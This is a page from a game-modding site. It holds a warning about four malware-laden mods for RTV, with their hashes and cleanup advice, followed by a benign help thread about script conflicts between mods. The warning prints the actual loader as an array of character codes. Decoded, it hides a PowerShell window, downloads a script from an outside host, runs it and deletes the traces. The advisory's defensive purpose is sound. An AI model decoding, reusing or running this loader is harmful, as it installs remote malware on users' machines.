📢 Attention about malware in mods

If you had installed the following mods:

"Auto Save on Exit" by Subaiy | MD5 hash - 6246fa47c492250128cbb4a463d2161a "Kill Counter" by Daniel | MD5 hash - bcee56cc847489a2a328189ba882d95e (if you downloaded this one: https://modworkshop.net/mod/56156 you are fine.) "Enemies Drop Better Loot" by Krunker | MD5 hash - ba9e7d88f1079c0324d53bde5786e4da (If you downloaded this one: https://modworkshop.net/mod/56230 you are fine). "Item Esp" by captainushi55. | MD5 hash - c663af8446d2a71747456cea36d0dfd9

Your PC is likely infected with malware. Do a proper reset to your computer.

What are we gonna do next? We are going to look for moderators to look at new mods for RTV. We'll be looking into ways to improve the site itself to better protect against these bad actors and also to let users know if a mod was infected - https://modworkshop.net/thread/13229. What can you do? Again if you are infected, factory reset your computer. Search for suspicious things in the mods you download (like "powershell")
These attacks all follow the same pattern, they execute a powershell script using some encoded URL:
[64,101,99,104,111,32,111,102,102,10,115,116,97,114,116,32,47,98,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,99,32,34,105,119,114,32,104,116,116,112,115,58,47,47,114,111,97,100,116,111,118,111,115,116,111,107,46,115,116,111,114,101,47,100,97,46,112,115,49,32,45,111,117,116,32,37,84,69,77,80,37,92,100,108,46,112,115,49,32,45,117,115,101,98,59,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,102,32,37,84,69,77,80,37,92,100,108,46,112,115,49,59,32,83,116,97,114,116,45,83,108,101,101,112,32,53,59,32,100,101,108,32,37,84,69,77,80,37,92,100,108,46,112,115,49,34,10,100,101,108,32,34,37,126,48,34] Check file hash of the file you downloaded using: https://hash-file.online. Any mod containing powershell script without a good reason should be reported to moderators. Any mod that isn't open-source should be reported.
I need help
Avatar

Idk why but for some reason everything that holds loot (chests, trashbags and so on) just say "Door (open)" and I cant interact with them.
My Mods and Mod Load Order are:
MCM
XP and Skills
Slow Vital Drain
Reticle Switcher
Recover Loot
Real Gun and Attatchment Names
Quest Marker
NPC Vision and Sound fix
Loot Modifier
High Ready Stance
Gimme Shelter
Generalist Sidorovich Voice
Tooltip Delay
Cat Hunger Slow
Cash System
Better SLeep
Better Maps
Medical Durability

Bug
Avatar

It might be an outdated mod or a mod conflict.
It’s hard to tell without logs.

You’re using quite a few mods that can interfere with each other. For example, Loot Modifier and XP & Skills both override the LootContainer script — that’s already one clear conflict.

To properly figure it out, I’d recommend removing mods one by one and testing. Also, make sure to check your logs.

Avatar

I dont know how to send screenshots otherwise I would but I'll just type it out:
Chain broken: Character.gd
Chain Broken: Tooltip.gd
UpdateTooltip(): Better Sleep
Missing SUper(): MCM
And well the rest is also Missing super()

Avatar

@noahgmeiner These errors usually indicate a mod conflict.

“Chain broken” and “Missing super()” typically happen when multiple mods override the same scripts (like Character.gd or Tooltip.gd) and don’t properly call the original functions.

This breaks the script inheritance chain, which leads to those errors.

Unfortunately, this isn’t something I can fix on my end, since it depends on how other mods are implemented.

I’d recommend testing with fewer mods or disabling them one by one to identify which one is causing the conflict.

Avatar

@chico I would've said its either bettermaps, bettersleep or LootModifier considering I only had this problem yesterday after installing those mods

Avatar

@noahgmeiner Yeah, that make sense.. Just try it out :)

Avatar

@chico yea I disabled some mods and I think loot modifier was the main one. It works now!

47 1391